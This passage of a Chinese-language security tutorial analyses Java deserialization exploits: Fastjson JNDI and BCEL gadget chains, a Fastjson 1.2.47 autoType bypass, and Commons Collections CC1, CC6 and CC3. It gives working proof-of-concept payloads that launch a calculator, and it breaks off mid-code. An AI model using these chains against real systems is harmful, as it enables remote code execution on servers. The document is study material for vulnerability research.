import com.alibaba.fastjson.JSON;


import java.sql.SQLException;

public class FastJsonImpl {
    public static void main(String[] args ) throws SQLException {
        String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/SsrCwcTP\",\"autoCommit\":false}";
        JSON.parseObject(s);

    }
}

file

file

先自动调用了setDataSourceName()方法,设置dataSource的值为ldap加载的恶意服务,用于lookup()接口动态加载类

file

通过setAutoCommit方法去调用connect()方法,传入的参数var1要为false

file

进入了connect方法通过lookup接口调用ldap,通过了DirectoryManager管理器以及工厂类动态实例化了恶意的类,造成了恶意代码的执行。

BasicDataSource链(不出网)

前面我们说的JdbcRowSetImpl链很明显是出网的,而BasicDataSource链子可以在不出网的情况下使用,我们先上示例再进行分析。

package com.example.demo;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("A:\\IDEA\\IdeaProjects\\untitled\\src\\RMIjndi\\Test.class");
        String code = Utility.encode(bytes,true);
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }

    private static byte[] convert(String filePath) throws IOException {
        File file = new File(filePath);

        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + filePath);
        }
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

file

这里首先会自动getConnection()方法去触发调用createDataSource()方法

file

createDataSource()方法中如果dataSource为空就会调用createConnectionFactory()方法,而关键就在于这个方法中。

file

这个方法中通过Class.forName()方法进行了调用,并且driverClassName是通过setDriverName()可控制,而且ClassLoader也是通过setdriverClassLoader()也是可控的,可以指定动态类加载器,而forName的底层就是调用loadClass(),因此这里指定了bcel中的Classloader(),就会自动去调用里面的loadClass()。

file

可以看到这里的loadClass通过defineClass定义了一个类,而要进入这个方法的前提是调用createClass(),因此必须以$$BCEL$开头,进入createClass()可以看到使用了decode()解码,因此事先要使用同样的encode()编码。

file

最后读取了字节流后就定义了恶意的class的字节码,转化为Java类后生成了我们自定义的恶意Class对象,返回给了driverFromCCL。

file

driverFromCCL通过构造器构造后进行了实例化,导致了RCE的执行。

这里可能存在疑惑,为什么getConnection方法会被调用?因为这里使用的是parseObject()方法,parseObject()会额外的将Java对象转为JSONObject对象,即调用JSON.toJSON(),在处理过程中会调用get()方法将参数赋值给JSONObject,相等于会调用所有的set()和get()方法。

那加入使用prase()能不能调用到getConnection()呢?其实也是可以的,当这里的key为JSONObject对象对象的时候,会调用JSONObject对象的toString()方法,而JSONObject是Map的子类,所以会调用该类的get()方法进行取值。
file

file

package com.example.demo;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
public class test {
    public static void main(String[] args) throws IOException {
        //生成我们需要的bcel格式
        JavaClass cls = Repository.lookupClass(evil.class);//将class对象表示java字节码的对象javaclass
        String code = Utility.encode(cls.getBytes(), true);//将java字节码对象javaclass转化为JavaClass格式的字节码
        System.out.println("$$BCEL$$" + code);

        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$C1$U$3d$85$91$81qP$k$o$be$8d$x$c1$85$b3q$871$sF$T$93$89$Y1$b8$$$a5$c1$92$99$v$99$Z$I$bf$e5F$8d$L$3f$c0$8f2$de$a2A$Sm$d3$9e$9cs$ef$b9$b7$8f$8f$cf$b7w$A$t$d8w$90C$c5A$Vky$d4$M$ae$db$a8$db$d8$60$c8$9d$aaH$a5g$M$d9F$b3$cb$60$5d$e8$bedX$f5U$qo$c6aO$c6$f7$bc$X$90R$f1$b5$e0A$97$c7$ca$f0$l$d1J$lU$c2P$f7$85$O$3d9$e5$e1$u$90$5e_$86$da$93$T$V$b4$Y$9c$cb$a9$90$a3T$e9$u$b1$b1I$bc$a3$c7$b1$90W$ca$b8$L$s$e9x$c8$t$dc$85$8d$bc$8d$z$X$db$d8$a1$b2$d4I$b8$d8$c5$kC$ed$df$d2$M$r$e3$f3$C$k$N$bcvo$uE$caP$9dIJ$7b$d7$edy$5b$86$f2o$e2$dd8JUH$9d$9d$81L$e7$a4$d6h$fa$7fr$e8$ec$96$9cJ$c1p$d8X$88v$d2XE$83$d6$a2$e16$d6B$sI$L$HX$a2W6$83$d1$a4$L$n$83$C$b1sBF$b8r$f4$C$f6$8aL$r$fb$M$eb$e1$89$94$M$i$a3$pK$7b$O$Wy$8a$e4Z$s$e6$7e$3b$I$8b3$EE$e9Wh$95f$be$f2$X9f$a4$c0$db$B$A$A\n\"\n" +
                "        }\n" +
                "    }:\"xxx\"\n" +
                "}\n";
        JSON.parse(poc);
    }
}

这里@{type:...org.apache.tomcat.dbcp.dbcp2.BasicDataSource...}最外层再套一层{}就会使得整一个是JSONObject,当成了key。

FastJson <=1.2.47绕过

针对前面的漏洞,FastJson官方也是做了一定的修复,修复的主要方式就是加了一个checkAutoType()方法,可能是因为Fastjson要处理的逻辑足够复杂,所以修复的也并不完美,造成了能够绕过的情况。

file

可以大致看一下autoType的代码:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        }

        if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        String className = typeName.replace('$', '.');
        Class<?> clazz = null;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        if (clazz != null) {
            if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }

        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features & mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        return clazz;
    }

根据修复的代码可以做一个大致的流程图:

file

从流程图可以看到,修复的代码中是存在从类缓存中Mappings中获取类的操作,即TypeUtils.getClassFromMapping的操作,如果我们可以在类似的这些地方提前让它返回恶意的类,即可完成绕过,我们进去看一下。

file

我们找一下这个mappings在那些函数和类中会被使用,发现其实都在TypeUtils中,但是这里在LoadClass方法中被使用了。

file

我们大致看一下这个loadClass的关键代码,如果mappings中获取不到className,并且classLoader存在,就会调用loadClass加载类,并且参数cache会true,就会将clazz放入到缓存中。

file

继续往上走,看看谁调用了这个loadClass,并且可以控制这个函数里面的参数,会查找了MiscCodec类中,这个类继承于ObjectSerializer与ObjectDeserializer,在类中的deserialze()方法调用了loadClass,当clazz=Class.class的时候。

file

什么时候会调用MiscCodec.deserialze(),其实在Fastjson进行序列化初始化的时候,就已经把这个类给放进去了,它也正是Class.class这个类。

file

所以在第一轮进入checkAutoType出来之后,就会来到getDeserializer()方法中,如果传入的clazz为Class.class就会获取到MiscCode反序列化器,往下走就会调用MiscCode类中的deserialize方法

file

传入的json中必须存在val的键,否则会抛出参数错误的异常,随后经过了parse.parse(),会将objVal解析成val的值,即我们填入的恶意类,随后就会调用loadClass()方法,传入strVal和默认null的类加载器。

file

调用loadClass()方法,会先从mappings中取className,取不到为空,会进行判断是否以[或L开头,是分别进入各自判断,这里都不是,并且classLoader为空,缓存为true,就会将val的类放入到mappings缓存中,并返回类。

file

返回之后就会到MiscCode的反序列化方法中,返回val值的那个类给obj。

file

第二次加载的会再进入autotype中,这时候缓存中已经有了我们构造的类,就能从缓存中获取直接返回JdbcRowSetImpl类,然后就进入了JdbcRowSetImpl的那条链子中。

file

CommonCollections反序列化漏洞

CommonCollection1

  1. CommonCollection1简称CC1,它的这个组件存在多个反序列化漏洞,这里先分析一下CC1的链子,并且这个反序列化的链子还是作者发现的,主要的入口存在于InvokeTransform的tramsform方法中,简单看这个方法,会发现它直接从输入的参数中得到一个累,并且调用getMethod获取类中的方法,最后使用inovke方法实现类方法的调用,关键的是InvokerTransformer()实例化的参数是可控制的,也就是这里可以直接触发RCE。

file

file

  1. 继续往上走,看看谁调用了transform()方法,看到在TransformedMap中的checkSetValue调用了transform方法,但是这里的checkSetValue和类的构造方法都是保护方法,外部无法直接实现访问,但是类中有一个decorate()的公开静态方法能够实现类的实例化,传入的参数会map,两个Transformer。

file

file

  1. 继续找谁调用了checkSetValue()方法,会发现MapEntry中重写了setValue()方法,而setValue()其实就是用于设置Map.Entry的值。

file

  1. 继续找谁调用了setValue()方法,我们的目标是要找到反序列化必须触发的readObject()方法,结果可以找到AnnotationInvocationHandler方法即注解处理器中存在readObject()方法调用了setValue()并且这里的memberValue都是可以直接实例化控制的,这里要注意的是AnnotationInvocationHandler没有类声明,因此外部调用需要进行反射。

file

  1. 因此我们的代码可以初步形成
    public static void main(String[] args) throws Exception {
        Runtime runtime=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
        Map<Object,Object> map=new HashMap<>();
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
        map.put("value","aiwin");
        Class AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object result=constructor.newInstance(Target.class,transformedMap);
        serialize(result);
        unserialize("ser.bin");

  1. 但是这样就可以反序列化了吗?其实仔细想想,我们还遇到了三个问题,第一个问题就是Runtime类没有继承序列化接口无法进行序列化,其次就是我们的memberType需要不为空,第三就是memberValue中的setValue()的类被固定了,是AnnotationTypeMismatchExceptionProxy()这个类,所以我们的反序列化还无法成功触发RCE。
  2. 首先我们需要解决第一个问题,Runtime无法序列化的问题,Runtime确实是无法序列化,但是Class是可以序列化的,它继承了序列化的接口,因此我们可以通过反射不断的获取方法然后invoke。

file

        Class runtimeClass=Runtime.class;
        //解决Runtime无法被序列化的问题
        Method getRuntime=runtimeClass.getMethod("getRuntime",null);
        Runtime runtime1= (Runtime) getRuntime.invoke(null,null);
        Method method=runtimeClass.getMethod("exec",String.class);
        method.invoke(runtime1,"calc");

  1. 这里需要讲这些反射转换成InvokerTransformer()中是麻烦的,需要循环多次,这里的ChainedTransformer中的transform可以循环Transformer数组,循环调用tranform方法,因此Runtime无法序列化的问题被解决了。

file

  1. 再看MemberType的问题,这里的memberType其实是循环遍历的memberValues得到的, AnnotationInvocationHandler实例化的实话传入的是一个注解type和一个Map,也就是说遍历传入的Map,然后从Map中获取键,从注解类的获取是否有这个键的方法,所以这里只需要一个注解类,map中的键设置会注解类中的一个方法即可。
  2. 最后一个问题,这里的setValue的类被固定了,该怎么办,我们传入的值根本就不会出现需要的Runtime.class,这里最巧的是有ConstantTransformer类,这个类的transform方法会返回构造器传入的值,这就使得可以传入Runtime.class,返回Runtime.class,在chainsTransform中就会使用Runtime.class进入漏洞点的tranform()方法,成功造成RCE。

完整的链子如下:

package com.example.commoncollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Commoncollections1Test {
    public static void main(String[] args) throws Exception {
//        Runtime runtime=Runtime.getRuntime();
//        Class runtimeClass=Runtime.class;
        //解决Runtime无法被序列化的问题
//        Method getRuntime=runtimeClass.getMethod("getRuntime",null);
//        Runtime runtime1= (Runtime) getRuntime.invoke(null,null);
//        Method method=runtimeClass.getMethod("exec",String.class);
//        method.invoke(runtime1,"calc");

//        Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime runtime2= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime2);
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
//        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        invokerTransformer.transform(runtime);
        Map<Object,Object> map=new HashMap<>();
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer); //通过decorate来实例化TransformedMap
//        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer);
        map.put("value","aiwin");
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(runtime);
//        }
        Class AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//未声明public,要反射调用
        Constructor constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); //调用实例化方法
        constructor.setAccessible(true);
        Object result=constructor.newInstance(Target.class,transformedMap); //Target中存在value方法, 因此map中键值为Value
//        serialize(result);
        unserialize("ser.bin");


    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

CommonCollections6

CommonCollections6简称CC6的链子,在CC1的链子中,受到版本的限制是严重的,在8u65之后,AnnotationInvocationHandler#readObject方法中直接把setValue()方法去掉了,因此这条链子受到的限制比较大,而CC6链子的通用性就强很多,不受到JDK版本的限制,它是从HashMap的readObject为入口点的。

下面来简单分析一下这条链子:

  1. 链子的前半部分是一样的,通过>ChainedTransformer.transform()->InvokerTransformer.transform()来触发里面的invoke()方法。

file

  1. 唯一不同的是这里通过LazyMap进行的触发,LazyMap的get()方法能够触发transform()方法,刚好它存在decorate使得factory为可控的Transformer类,因此可以将链延伸到LazyMap中。

file

file

  1. 作者继续向上找,找能够触发LazyMap.get()方法的类,在TiedMapEntry方法中找到了能够触发的getValue()方法,而这里非常好的一件事情是,触发getValue()的方法是重写的HashCode方法,从而整条链子就引向了HashMap的readObject()方法中,基本上受到的限制就不大了。

file

file

因此整条链就变成了:
HashMap.readObject()->TiedMapEntry.hashCode()->TiedMapEntry.get()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()->危险方法

代码就可以写成以下这样:

    public static  void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//HashMap.readObject()->TiedMapEntry.hashCode()->TiedMapEntry.get()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        serialize(map2);
//        unserialize("ser.bin");

    }

但是在这里你会发现,它在序列化的时候就已经触发了计算器,这其实跟urldns的链子有相似的感觉。

这里其实有两点需要注意的地方,一点就是map2.put()的时候,会直接进入putVal()方法,会触发hash()方法提前进入hashCode()中,使得不是我们想要的反序列化触发的结果,所以这里需要先将LazyMap设置为一个其它的空对象,然后在序列化之前再将它的factory设置为我们想要的chainedTransformer对象。

file

第二点就是在LazyMap的get()方法中会对map中是否存在key进行判断,经过put()方法中,会使map中存在aaa这个key,导致判断会true,不会进入到transform()触发中,这里需要将它去掉。

file

全部完整的代码为:

public class Commoncollections6Test {
    public static  void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//HashMap.readObject()->TiedMapEntry.hashCode()->TiedMapEntry.get()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()->InvokerTransformer.transform()
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");

    }
    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

CommonCollections3

CC3链与CC6和CC1有所不同的地方在于,CC6和CC1这种链是直接通过调用代码执行,而CC3链是通过动态的类加载来达到反序列化RCE的效果。

  1. 首先我们的入口点依旧可以是InvokeTransform里面的transform方法,可以通过这里的method.invoke()触发某个方法实现动态类的加载,也就是我们的loadClass(),而loadClass()的底层是defindClass()就是从bytes字节流中获取一个类,当能够使用newInstance()进行实例化的时候,就完成了类方法的调用。
    file
  2. 作者最终也是找到了TemplatesImpl方法中的newTransform()方法,这个方法调用了 getTransletInstance()方法。

file

  1. 在这个方法里面,满足了我们以上的条件,存在实例化和defineClass()

file

  1. 可以看到,在 defineTransletClasses()中,通过循环遍历了_bytecodes二维数组来进行defineClass,关键的是_bytecodes等参数都是可控的,可以通过实例化直接赋值。

file

  1. 那么要让链条进入到defineTransletClasses()中并成功返回取得的恶意字节流,最后进行newInstance()就需要使__name不为null,__class为null,以及传入恶意的__bytecodes,比较需要注意的是在run()执行的时候也需要_tfactory有值,_tfactory是一个TransformerFactoryImpl类,并且是transient的,也就是说不会被默认的序列化机制所序列化,但是这里并不影响我们的反序列化,因为在TemplatesImpl中的readObject()自动就将_tfactory赋值掉了。

file

file

  1. 到以上为止其实会为空指针错误,我们把defineTransletClasses()代码看全,会发现还有_auxClasses我们没有赋值,假如将其赋值,也就是要进入else方法中,那么就会使_transletIndex小于0,下方还是会出现报错,因此这里我们只能选择if的判断,将恶意类的继承于AbstractTranslet的抽象类,恶意类的代码如下:
package com.example.commoncollections1;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

file

  1. 到目前为止,我们的分析整个demo就可以写成如下:
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass= TemplatesImpl.class;
        Field field_name=templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates,"aaa");
        Field field_class=templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates,null);
        Field field_bytecodes=templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes={code};
        field_bytecodes.set(templates,codes);
        Field field_factory=templatesClass.getDeclaredField("_tfactory");
        field_factory.setAccessible(true);
        field_factory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
  1. 剩下的部分就完全可以通过CC1链的部分来调用TemplatesImpl中的newTransform()方法,即AnnotationInvocationHandler.readObject()来触发ChainedTransformer.transform()来循环调用transform(),完整的demo代码如下:
package com.example.commoncollections1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Commoncollections3Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates=new TemplatesImpl();
        Class templatesClass= TemplatesImpl.class;
        Field field_name=templatesClass.getDeclaredField("_name");
        field_name.setAccessible(true);
        field_name.set(templates,"aaa");
        Field field_class=templatesClass.getDeclaredField("_class");
        field_class.setAccessible(true);
        field_class.set(templates,null);
        Field field_bytecodes=templatesClass.getDeclaredField("_bytecodes");
        field_bytecodes.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\IDEA\\IdeaProjects\\commoncollections1\\src\\main\\java\\com\\example\\commoncollections1\\Test.class"));
        byte[][] codes={code};
        field_bytecodes.set(templates,codes);
        Field field_factory=templatesClass.getDeclaredField("_tfactory");
        field_factory.setAccessible(true);
        field_factory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        chainedTransformer.transform(1)
        //原CC1的链条触发
        Map<Object,Object> map=new HashMap<>();
        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","aiwin");
        Class AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//未声明public,要反射调用
        Constructor constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); //调用实例化方法
        constructor.setAccessible(true);
        Object result=constructor.newInstance(Target.class,transformedMap); //Target中存在value方法, 因此map中键值为Value
        serialize(result);
        unserialize("ser.bin");


    }
    public static  void serialize(Object object) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}
  1. 查看ysoserial中的链子,其实跟我们的不太一样,它帮没有通过InvokeTramsform.transform()来触发,而是使用了InstantiateTransformer.transform()来进行触发,我们也顺便看看这里的触发方式,这里通过getConstructor()来获取构造器,也就是说假如有一个类的构造方法能够直接调用TemplateImpl.newTransform()那么久能够串起整条链子。

file

  1. TrAXFilter类中刚好存在这样的构造方法,那么只需将InstantiateTransformer.transform()中传入TrAXFilter.classiParamTypes赋值为Templates.class,并将参数iArgs赋值为我们实现写好的TemplatesImpl类即可。

file

  1. 整个demo如下:
package com.example.commoncollections1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommoncollectionsInst3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
